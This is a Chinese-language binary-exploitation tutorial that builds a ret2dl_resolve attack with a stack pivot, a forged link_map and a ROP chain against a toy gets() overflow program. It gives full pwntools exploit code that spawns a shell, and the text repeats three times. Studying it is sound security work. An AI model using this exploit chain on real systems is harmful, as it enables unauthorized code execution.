仅有gets栈溢出漏洞的攻击方式
字数 1047
更新时间 2025-12-31 12:26:44

仅有gets栈溢出漏洞的攻击方式技术分析

一、漏洞环境概述

1.1 漏洞代码

#include<stdio.h>

void stack_overflow()
{
    char buf[0x40];
    gets(buf);
}

int main(){
    stack_overflow();
    return 0;
}

1.2 编译方式

gcc -o pwn ./pwn.c -no-pie -fno-stack-protector

1.3 漏洞特点

  • 仅存在gets函数的栈溢出漏洞
  • 无输出函数(如write、printf等)
  • 无pop rdi等常用gadget
  • 无PIE保护,无栈保护

二、攻击技术原理

2.1 ret2dl_resolve技术基础

ret2dl_resolve是一种利用动态链接解析过程实现攻击的技术,其核心原理:

  1. 动态链接过程:当程序第一次调用共享库函数时,会通过PLT/GOT机制进行延迟绑定
  2. 解析流程_dl_runtime_resolve函数负责解析函数地址并填充GOT表
  3. 攻击点:通过伪造link_map结构体,控制解析过程执行目标函数

2.2 技术优势

  • 无需泄露libc地址
  • 无需输出函数
  • 直接获取shell执行权限

三、攻击实现步骤

3.1 第一阶段:栈迁移控制

3.1.1 汇编代码分析

endbr64
push rbp
mov rbp, rsp
sub rsp, 40h
lea rax, [rbp+var_40]
mov rdi, rax
mov eax, 0
call _gets
nop
leave
retn

3.1.2 利用思路

通过控制rbp寄存器实现栈迁移到BSS段:

bss = 0x404030 + 0x700
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)

3.2 第二阶段:伪造link_map结构体

3.2.1 结构体伪造函数

def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
    linkmap = p64(offset & (2 ** 64 - 1))
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)
    return linkmap

3.2.2 关键参数说明

  • fake_linkmap_addr:伪造结构体在BSS段的地址
  • known_func_ptr:已知函数GOT地址(如gets)
  • offset:目标函数与已知函数的偏移量(如system-gets)

3.3 第三阶段:ROP链构造

3.3.1 ROP payload构造

gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']

bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)

payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)

3.3.2 参数传递技巧

p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')

四、关键技术问题与解决方案

4.1 BSS段地址选择问题

问题描述:动态调试时发现调用延迟绑定相关函数时,寄存器出现异常值导致程序执行失败。

解决方案:增加BSS段偏移量

bss = 0x404030 + 0x700  # 而非直接使用0x404030

4.2 字符串格式调整

问题描述:特定位置字符需要调整以满足程序要求。

解决方案:对第5位字符进行+1操作

b'/bin' + p8(u8(b"/") + 1) + b'sh\x00'

4.3 结构体伪造模板选择

问题描述:不同版本的ROP模板可能不兼容。

解决方案:使用经过验证的可调整版本模板。

五、完整EXP代码

from pwn import *

filename = './pwn'
context.arch = 'amd64'
elf = ELF(filename)
libc = elf.libc
p = process(filename)

def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
    linkmap = p64(offset & (2 ** 64 - 1))
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)
    return linkmap

gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
bss = 0x404030 + 0x700

# 第一阶段:栈迁移
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)

# 第二阶段:构造ROP和伪造结构体
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)

# 第三阶段:传递参数
p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
p.interactive()

六、技术要点总结

  1. 栈迁移技术:通过控制rbp实现执行流重定向到可控的BSS段
  2. 结构体伪造:精确构造link_map结构体控制动态链接解析过程
  3. 参数传递:利用ret2gets技术控制rdi寄存器指向"/bin/sh"字符串
  4. 地址计算:正确计算函数偏移量和BSS段安全地址

该攻击方式在极其有限的漏洞条件下(仅有gets栈溢出)实现了完整的攻击链,展现了高级二进制漏洞利用技术的精妙之处。

仅有gets栈溢出漏洞的攻击方式技术分析

一、漏洞环境概述

1.1 漏洞代码

#include<stdio.h>

void stack_overflow()
{
    char buf[0x40];
    gets(buf);
}

int main(){
    stack_overflow();
    return 0;
}

1.2 编译方式

gcc -o pwn ./pwn.c -no-pie -fno-stack-protector

1.3 漏洞特点

  • 仅存在gets函数的栈溢出漏洞
  • 无输出函数(如write、printf等)
  • 无pop rdi等常用gadget
  • 无PIE保护,无栈保护

二、攻击技术原理

2.1 ret2dl_resolve技术基础

ret2dl_resolve是一种利用动态链接解析过程实现攻击的技术,其核心原理:

  1. 动态链接过程:当程序第一次调用共享库函数时,会通过PLT/GOT机制进行延迟绑定
  2. 解析流程_dl_runtime_resolve函数负责解析函数地址并填充GOT表
  3. 攻击点:通过伪造link_map结构体,控制解析过程执行目标函数

2.2 技术优势

  • 无需泄露libc地址
  • 无需输出函数
  • 直接获取shell执行权限

三、攻击实现步骤

3.1 第一阶段:栈迁移控制

3.1.1 汇编代码分析

endbr64
push rbp
mov rbp, rsp
sub rsp, 40h
lea rax, [rbp+var_40]
mov rdi, rax
mov eax, 0
call _gets
nop
leave
retn

3.1.2 利用思路

通过控制rbp寄存器实现栈迁移到BSS段:

bss = 0x404030 + 0x700
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)

3.2 第二阶段:伪造link_map结构体

3.2.1 结构体伪造函数

def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
    linkmap = p64(offset & (2 ** 64 - 1))
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)
    return linkmap

3.2.2 关键参数说明

  • fake_linkmap_addr:伪造结构体在BSS段的地址
  • known_func_ptr:已知函数GOT地址(如gets)
  • offset:目标函数与已知函数的偏移量(如system-gets)

3.3 第三阶段:ROP链构造

3.3.1 ROP payload构造

gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']

bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)

payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)

3.3.2 参数传递技巧

p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')

四、关键技术问题与解决方案

4.1 BSS段地址选择问题

问题描述:动态调试时发现调用延迟绑定相关函数时,寄存器出现异常值导致程序执行失败。

解决方案:增加BSS段偏移量

bss = 0x404030 + 0x700  # 而非直接使用0x404030

4.2 字符串格式调整

问题描述:特定位置字符需要调整以满足程序要求。

解决方案:对第5位字符进行+1操作

b'/bin' + p8(u8(b"/") + 1) + b'sh\x00'

4.3 结构体伪造模板选择

问题描述:不同版本的ROP模板可能不兼容。

解决方案:使用经过验证的可调整版本模板。

五、完整EXP代码

from pwn import *

filename = './pwn'
context.arch = 'amd64'
elf = ELF(filename)
libc = elf.libc
p = process(filename)

def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
    linkmap = p64(offset & (2 ** 64 - 1))
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)
    return linkmap

gets_got = elf.got['gets']
l_addr = libc.sym['system'] - libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
bss = 0x404030 + 0x700

# 第一阶段:栈迁移
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)

# 第二阶段:构造ROP和伪造结构体
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got, l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100, b'\x00')
payload += fake_link_map
p.sendline(payload)

# 第三阶段:传递参数
p.sendline(b'/bin' + p8(u8(b"/") + 1) + b'sh\x00')
p.interactive()

六、技术要点总结

  1. 栈迁移技术:通过控制rbp实现执行流重定向到可控的BSS段
  2. 结构体伪造:精确构造link_map结构体控制动态链接解析过程
  3. 参数传递:利用ret2gets技术控制rdi寄存器指向"/bin/sh"字符串
  4. 地址计算:正确计算函数偏移量和BSS段安全地址

该攻击方式在极其有限的漏洞条件下(仅有gets栈溢出)实现了完整的攻击链,展现了高级二进制漏洞利用技术的精妙之处。

仅有gets栈溢出漏洞的攻击方式技术分析 一、漏洞环境概述 1.1 漏洞代码 1.2 编译方式 1.3 漏洞特点 仅存在gets函数的栈溢出漏洞 无输出函数(如write、printf等) 无pop rdi等常用gadget 无PIE保护,无栈保护 二、攻击技术原理 2.1 ret2dl_ resolve技术基础 ret2dl_ resolve是一种利用动态链接解析过程实现攻击的技术,其核心原理: 动态链接过程 :当程序第一次调用共享库函数时,会通过PLT/GOT机制进行延迟绑定 解析流程 : _dl_runtime_resolve 函数负责解析函数地址并填充GOT表 攻击点 :通过伪造link_ map结构体,控制解析过程执行目标函数 2.2 技术优势 无需泄露libc地址 无需输出函数 直接获取shell执行权限 三、攻击实现步骤 3.1 第一阶段:栈迁移控制 3.1.1 汇编代码分析 3.1.2 利用思路 通过控制rbp寄存器实现栈迁移到BSS段: 3.2 第二阶段:伪造link_ map结构体 3.2.1 结构体伪造函数 3.2.2 关键参数说明 fake_linkmap_addr :伪造结构体在BSS段的地址 known_func_ptr :已知函数GOT地址(如gets) offset :目标函数与已知函数的偏移量(如system-gets) 3.3 第三阶段:ROP链构造 3.3.1 ROP payload构造 3.3.2 参数传递技巧 四、关键技术问题与解决方案 4.1 BSS段地址选择问题 问题描述 :动态调试时发现调用延迟绑定相关函数时,寄存器出现异常值导致程序执行失败。 解决方案 :增加BSS段偏移量 4.2 字符串格式调整 问题描述 :特定位置字符需要调整以满足程序要求。 解决方案 :对第5位字符进行+1操作 4.3 结构体伪造模板选择 问题描述 :不同版本的ROP模板可能不兼容。 解决方案 :使用经过验证的可调整版本模板。 五、完整EXP代码 六、技术要点总结 栈迁移技术 :通过控制rbp实现执行流重定向到可控的BSS段 结构体伪造 :精确构造link_ map结构体控制动态链接解析过程 参数传递 :利用ret2gets技术控制rdi寄存器指向"/bin/sh"字符串 地址计算 :正确计算函数偏移量和BSS段安全地址 该攻击方式在极其有限的漏洞条件下(仅有gets栈溢出)实现了完整的攻击链,展现了高级二进制漏洞利用技术的精妙之处。